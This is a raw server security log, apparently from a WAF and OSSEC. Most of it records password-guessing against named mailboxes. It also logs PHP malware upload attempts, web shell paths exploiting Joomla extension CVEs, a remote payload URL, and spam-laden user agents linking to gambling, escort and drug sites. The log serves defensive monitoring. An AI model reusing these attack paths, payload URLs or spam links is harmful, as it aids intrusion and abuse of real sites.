IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 Download free; <a href=\"https://3.cholteth.com/index/d1?diff=0&utm_clickid=g00w000go8sgcg0k&aurl=http://cloud.poodll.com/filter/poodll/ext/iframeplayer.php?url=https://exyuiptv.org/blog/najbolji-sportski-kanali-exyu-iptv/\">https://3.cholteth.com/</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.255.83.134
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://kings96.net/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.17.8
country_id: 3017382
description:
2026-07-10 04:19:44 dovecot_login authenticator failed for H=vps-1f598509.vps.ovh.net ([49.124.149.199]) [213.32.17.8]:50842: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-10 04:22:43 dovecot_login authenticator failed for H=([31.173.67.123]) [222.97.195.179]:52418: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.32.45.241
country_id: 2077456
description:
2026-07-10 04:22:56 dovecot_login authenticator failed for H=27-32-45-241.static.tpgi.com.au ([78.136.223.227]) [27.32.45.241]:35094: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.206.162.134
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://business.am-news.com/am-news/markets/article/abnewswire-2026-4-14-paver-cleaning-services-in-bayshore-provided-by-paver-cleaning-and-sealing-pros-of-bay-shore-for-local-residents-focused-on-long-term-solution/\">Paver cleaning Bay Shore</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-10 04:24:04 dovecot_login authenticator failed for H=([192.252.214.22]) [122.185.44.206]:41815: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-10 04:24:33 dovecot_login authenticator failed for H=([27.115.113.138]) [85.105.255.56]:44953: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.135.74.36
country_id: 6290252
description:
2026-07-10 04:26:13 dovecot_login authenticator failed for H=cable-24-135-74-36.dynamic.sbb.rs ([70.166.167.50]) [24.135.74.36]:42800: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-10 04:26:02 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([128.185.223.185]) [71.229.1.186]:39266: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-10 04:27:48 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se (host-148-170-156-248.public.eastlink.ca) [83.191.181.23]:47602: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-10 04:31:23 dovecot_login authenticator failed for H=([62.231.20.54]) [207.254.40.89]:59141: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.145
country_id: 1668284
description:
2026-07-10 04:32:09 dovecot_login authenticator failed for H=110-25-112-145.adsl.fetnet.net (hn.kd.ny.adsl) [110.25.112.145]:43873: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-10 04:32:32 dovecot_login authenticator failed for H=([14.54.35.193]) [122.169.40.221]:54944: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-10 04:33:58 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [59.12.212.38]:58170: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-10 04:34:16 dovecot_login authenticator failed for H=([2.55.70.124]) [15.218.135.58]:56527: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-10 04:34:50 dovecot_login authenticator failed for H=([183.6.115.88]) [197.219.228.242]:33524: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 182.6.160.40
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:208159||Sizes:1315||Combined size:1315||User:globalgroupoman||WPU:||Filename:hi_1mqgcaus.php||Scanned:/tmp//20260710-043748-alApxIUMRj1J0UyMHkSNnQAAABE-file-8srknU||SC:/home/globalgroupoman/public_html/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.241.225
country_id: 6252001
description:
2026-07-10 04:38:45 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [71.12.241.225]:55912: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-10 04:38:32 dovecot_login authenticator failed for H=(166.37.5.122.broad.yt.sd.dynamic.163data.com.cn) [1.247.245.61]:35455: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-10 04:40:17 dovecot_login authenticator failed for H=(c-83-226-181-38.bbcust.telenor.se) [50.188.204.213]:39104: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.51.64
country_id: 337996
description:
2026-07-10 04:40:36 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [196.189.51.64]:57610: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-10 04:41:42 dovecot_login authenticator failed for H=([68.71.243.10]) [200.107.163.195]:56786: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 157.66.56.200
country_id: 1643084
domain: www.yukticlick.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/shxt_uzlqnj/fonts/shxt.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.185
country_id: 1733045
description:
2026-07-10 04:49:25 dovecot_login authenticator failed for H=([196.190.220.199]) [49.124.159.185]:54806: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-07-10 04:49:25 dovecot_login authenticator failed for H=(syn-024-180-043-126.res.spectrum.com) [218.156.93.203]:59327: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-10 04:49:39 dovecot_login authenticator failed for H=([27.123.113.30]) [14.42.47.150]:18556: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-ashram.html\">call girl in Ashram</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.112.148.66
country_id: 130758
description:
2026-07-10 04:50:16 dovecot_login authenticator failed for H=([192.252.220.90]) [185.112.148.66]:55979: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 23.180.120.146
country_id: 6252001
domain: stcinemas.co
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-9c6e060dfcf5.xml.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/agariounblockedschool?lang=EN\">unblocked games 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-10 04:58:46 dovecot_login authenticator failed for H=a4.ucndns.in ([116.7.248.50]) [103.252.168.4]:59852: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-07-10 04:59:17 dovecot_login authenticator failed for H=([83.118.111.32]) [62.164.148.87]:58324: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.12.178
country_id: 1269750
description:
2026-07-10 05:00:13 dovecot_login authenticator failed for H=([118.44.30.37]) [182.95.12.178]:46262: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.124
country_id: 1668284
description:
2026-07-10 05:00:28 dovecot_login authenticator failed for H=111-70-38-124.emome-ip.hinet.net ([24.249.199.9]) [111.70.38.124]:51531: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-10 05:01:31 dovecot_login authenticator failed for H=([212.132.64.89]) [197.219.228.242]:38942: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-10 05:01:47 dovecot_login authenticator failed for H=([218.146.255.221]) [207.188.158.216]:6398: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-10 05:02:04 dovecot_login authenticator failed for H=([14.54.35.193]) [65.20.141.202]:47137: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-10 05:06:00 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([211.178.3.26]) [64.207.225.55]:43096: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-10 05:06:25 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([72.214.108.73]) [213.66.197.199]:54330: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-10 05:06:32 dovecot_login authenticator failed for H=([188.247.43.42]) [182.76.71.82]:45762: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-10 05:06:50 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [62.201.228.210]:50986: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-10 05:07:03 dovecot_login authenticator failed for H=([24.249.199.9]) [125.19.218.50]:35828: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-10 05:07:22 dovecot_login authenticator failed for H=([128.185.223.185]) [182.95.101.182]:39040: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.142.134
country_id: 1733045
description:
2026-07-10 05:09:42 dovecot_login authenticator failed for H=(2-74-192-250.kcell.kz) [49.124.142.134]:57880: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-10 05:10:29 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com ([182.210.174.66]) [34.41.211.48]:56348: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-10 05:11:50 dovecot_login authenticator failed for H=([178.163.7.166]) [196.189.59.226]:53758: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-10 05:12:00 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee (ipmapt-72-195-114-188.oc.oc.cox.net) [85.29.246.199]:52412: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 83.97.119.123
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://pornteenvideo.info\">Zolpidem no prescription</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 51.79.180.235
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:ibmcglobal||SC:/home/ibmcglobal/public_html/index.php||WPU:||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-07-10 05:22:22 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [154.146.240.123]:53154: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.184.40
country_id: 1210997
description:
2026-07-10 05:29:08 dovecot_login authenticator failed for H=(static.170.209.108.65.clients.your-server.de) [157.119.184.40]:60028: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.120.42.31
country_id: 1733045
description:
2026-07-10 05:29:26 dovecot_login authenticator failed for H=([94.16.17.140]) [121.120.42.31]:35012: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-10 05:35:30 dovecot_login authenticator failed for H=(ip-103-133.222-205.cloudteknologinusantara.co.id) [103.176.160.146]:33436: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-10 05:36:36 dovecot_login authenticator failed for H=([66.54.169.3]) [121.128.84.224]:50576: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.144
country_id: 1733045
description:
2026-07-10 05:36:49 dovecot_login authenticator failed for H=([191.44.113.143]) [183.171.49.144]:55838: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.184.155.242
country_id: 1269750
description:
2026-07-10 05:36:02 dovecot_login authenticator failed for H=([222.186.68.153]) [103.184.155.242]:54290: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-10 05:36:13 dovecot_login authenticator failed for H=([46.210.121.205]) [197.219.228.242]:42714: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.69.178
country_id: 1269750
description:
2026-07-10 05:37:21 dovecot_login authenticator failed for H=([111.26.115.124]) [182.78.69.178]:47564: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.206.99
country_id: 1269750
description:
2026-07-10 05:38:15 dovecot_login authenticator failed for H=([119.152.102.54]) [103.148.206.99]:59684: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 182.6.160.40
country_id: 1643084
domain: 103.185.74.189
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:177851||Sizes:1315||Combined size:1315||User:alnay||WPU:||Filename:hi_38uawsvo.php||Scanned:/tmp//20260710-053924-alA4NEJhziHZhO86mvAusQAAAMk-file-RP7vHb||SC:/home/alnay/public_html/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-10 05:41:52 dovecot_login authenticator failed for H=([182.95.238.36]) [147.148.205.252]:44694: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-10 05:42:05 dovecot_login authenticator failed for H=([112.161.42.97]) [85.152.57.60]:32948: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 51.79.180.235
country_id: 1880251
domain: idealloanz.com.au
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:idealloanzcom||SC:/home/idealloanzcom/public_html/index.php||WPU:||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.193.249.210
country_id: 1835841
description:
2026-07-10 05:46:52 dovecot_login authenticator failed for H=([110.45.150.219]) [211.193.249.210]:60746: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.220.98
country_id: 1733045
description:
2026-07-10 05:47:17 dovecot_login authenticator failed for H=([49.124.152.179]) [49.124.220.98]:57700: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.155.97.58
country_id: 453733
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:fefkadirectors||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 182.6.160.40
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:163912||Sizes:1315||Combined size:1315||User:alnay||WPU:||Filename:hi_cuooxqem.php||Scanned:/tmp//20260710-055317-alA7dau4CUvLuHG8ecsIIAAAAQY-file-VmM7Xa||SC:/home/alnay/public_html/index.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 66.150.198.202
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.27||T:APACHE||RA:66.150.198.202||TA:66.150.198.202||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.231.158.20
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/index.php/about-us HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.54.166.194
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.27||T:APACHE||RA:142.54.166.194||TA:142.54.166.194||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.135
country_id: 1835841
description:
2026-07-10 05:59:46 dovecot_login authenticator failed for H=([114.202.80.152]) [121.131.220.135]:54829: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.206.98
country_id: 1269750
description:
2026-07-10 06:00:29 dovecot_login authenticator failed for H=(aes-static-057.154.22.125.airtel.in) [103.148.206.98]:53591: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-10 06:06:41 dovecot_login authenticator failed for H=([125.139.124.120]) [182.95.119.30]:50676: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-10 06:07:44 dovecot_login authenticator failed for H=([182.74.216.125]) [59.23.3.146]:39476: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.46.177.242
country_id: 3703430
description:
2026-07-10 06:07:07 dovecot_login authenticator failed for H=([203.45.200.87]) [200.46.177.242]:58218: 535 Incorrect authentication data (set_id=pan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-10 06:07:57 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [121.202.135.172]:63316: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.213.9.78
country_id: 935317
description:
2026-07-10 06:10:24 dovecot_plain authenticator failed for H=(defaver) [102.213.9.78]:60478: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-10 06:13:19 dovecot_login authenticator failed for H=([67.201.38.131]) [103.206.131.33]:34012: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-10 06:13:36 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net (syn-184-057-039-170.res.spectrum.com) [87.115.211.6]:33448: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-10 06:13:01 dovecot_login authenticator failed for H=(bergsound.Moscow.Access.Comstar.ru) [121.185.89.74]:40782: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-10 06:13:55 dovecot_login authenticator failed for H=([203.124.32.243]) [136.56.34.147]:44194: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: elegantautomotives.com
description:


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 35.192.232.168
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.65.118.172
country_id: 357994
description:
2026-07-10 06:17:13 dovecot_login authenticator failed for H=([70.166.167.59]) [41.65.118.172]:43608: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.106
country_id: 1269750
description:
2026-07-10 06:17:03 dovecot_login authenticator failed for H=([195.158.14.232]) [122.185.146.106]:59460: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 5.83.135.102
country_id: 2921044
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:config-bootstrap.jpg||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 5.83.135.102
country_id: 2921044
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:config-bootstrap.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 182.6.160.40
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:124206||Sizes:1315||Combined size:1315||User:globalgroupoman||WPU:||Filename:hi_tqee8ayg.php||Scanned:/tmp//20260710-062228-alBCTC3t762VUgJpzU7HtgAAAJU-file-b1qXls||SC:/home/globalgroupoman/public_html/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-10 06:23:21 dovecot_login authenticator failed for H=(aes-static-225.77.144.59.airtel.in) [218.156.8.97]:60086: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-10 06:25:07 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([49.124.142.135]) [68.7.114.69]:50336: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-10 06:25:28 dovecot_login authenticator failed for H=([182.95.148.3]) [119.92.76.210]:40556: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.108.83.2
country_id: 6251999
description:
2026-07-10 06:26:37 dovecot_login authenticator failed for H=([192.252.208.66]) [38.108.83.2]:46027: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 178.210.187.26
country_id: 3277605
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 [Return] (<a href=\"https://discuss.7msport.com/wap/en/reply.aspx?no=347024&pid=934632&url=http://orangeskin.com/?URL=https://exyuiptv.org/\">https://discuss.7msport.com/</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-10 06:30:48 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net ([46.101.9.55]) [135.125.199.17]:39696: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-07-10 06:31:05 dovecot_login authenticator failed for H=([94.205.250.78]) [218.156.93.203]:49198: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-10 06:31:15 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com (49.206.201.253.actcorp.in) [213.65.190.48]:60996: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 138.186.139.85
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://histopolis.com/\">slot depo 5k</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
